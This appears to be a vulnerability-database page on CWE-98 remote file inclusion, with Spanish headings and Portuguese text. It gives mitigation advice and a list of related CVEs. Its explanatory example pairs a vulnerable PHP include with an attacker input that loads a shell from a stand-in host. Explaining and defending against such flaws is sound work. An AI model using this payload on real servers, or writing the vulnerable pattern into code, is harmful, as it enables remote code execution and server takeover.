Fallos del tipo CWE-98

1271 resultados

Inclusão Remota de Arquivo

Fraqueza onde a aplicação inclui ou executa um arquivo cujo caminho é controlado (total ou parcialmente) por um atacante, frequentemente via parâmetros GET/POST. Se o servidor não valida a origem, um atacante pode fazer a aplicação carregar código malicioso de um servidor externo, levando a execução arbitrária com privilégios da app.

Ejemplo

Um PHP com `include($_GET['page'].'.php')` onde o atacante passa `page=http://atacante.com/shell` acaba incluindo e executando um script malicioso hospedado remotamente, concedendo acesso total ao servidor.

Cómo mitigar

Valide e normalize qualquer entrada de usuário antes de usar em include/require; use uma whitelist de arquivos permitidos; desabilite `allow_url_include` no PHP; implemente controle de acesso e isolamento de sessão. Nunca confie em entrada externa para construir caminhos de arquivo.

CVE-2024-5762HIGHZen Cart findPluginAdminPage Local File Inclusion Remote Code Execution VulnerabilityEPSS 71.6%CVE-2023-49084HIGHLocal File Inclusion (RCE) in CactiEPSS 63.8%CVE-2023-2249HIGHwpForo Forum <= 2.1.7 - Authenticated (Subscriber+) Local File Include, Server-Side Request Forgery, and PHAR Deserialization via file_get_contentsEPSS 60.8%CVE-2023-6989CRITICALShield Security – Smart Bot Blocking & Intrusion Prevention Security <= 18.5.9 - Unauthenticated Local File InclusionEPSS 56.6%CVE-2022-4606HIGHPHP Remote File Inclusion in flatpressblog/flatpressEPSS 35.4%CVE-2024-1600CRITICALLocal File Inclusion in parisneo/lollms-webuiEPSS 32.5%CVE-2025-68645HIGHA Local File Inclusion (LFI) vulnerability exists in the Webmail Classic UI of Zimbra Collaboration (ZCS) 10.0 and 10.1 because of improper EPSS 31.8%KEVCVE-2025-4380HIGHAds Pro Plugin - Multi-Purpose WordPress Advertising Manager <= 4.89 - Unauthenticated Local File InclusionEPSS 29.4%CVE-2024-12209CRITICALWP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - Unauthenticated Local File InclusionEPSS 23.4%CVE-2017-14095—A vulnerability in Trend Micro Smart Protection Server (Standalone) versions 3.2 and below could allow an attacker to perform remote commandEPSS 12.5%CVE-2026-0926CRITICALProdigy Commerce <= 3.3.0 - Unauthenticated Local File Inclusion via parameters[template_name]EPSS 9.4%CVE-2020-5295MEDIUMLocal File read vulnerability in OctoberCMSEPSS 7.4%CVE-2023-3452CRITICALCanto <= 3.0.4 - Unauthenticated Remote File InclusionEPSS 5.6%CVE-2024-3136CRITICALMasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via templateEPSS 5.0%CVE-2024-10571CRITICALChartify – WordPress Chart Plugin <= 2.9.5 - Unauthenticated Local File Inclusion via sourceEPSS 4.8%CVE-2026-48133HIGHIdentity Awareness Captive Portal - Unauthenticated Local File InclusionEPSS 4.8%CVE-2023-24217HIGHAgileBio Electronic Lab Notebook v4.234 was discovered to contain a local file inclusion vulnerability.EPSS 4.5%CVE-2023-52325HIGHA local file inclusion vulnerability in one of Trend Micro Apex Central's widgets could allow a remote attacker to execute arbitrary code onEPSS 4.5%CVE-2023-5815HIGHNews & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Remote Code Execution via Local File InclusionEPSS 4.3%CVE-2021-21804HIGHA local file inclusion (LFI) vulnerability exists in the options.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). A speEPSS 3.7%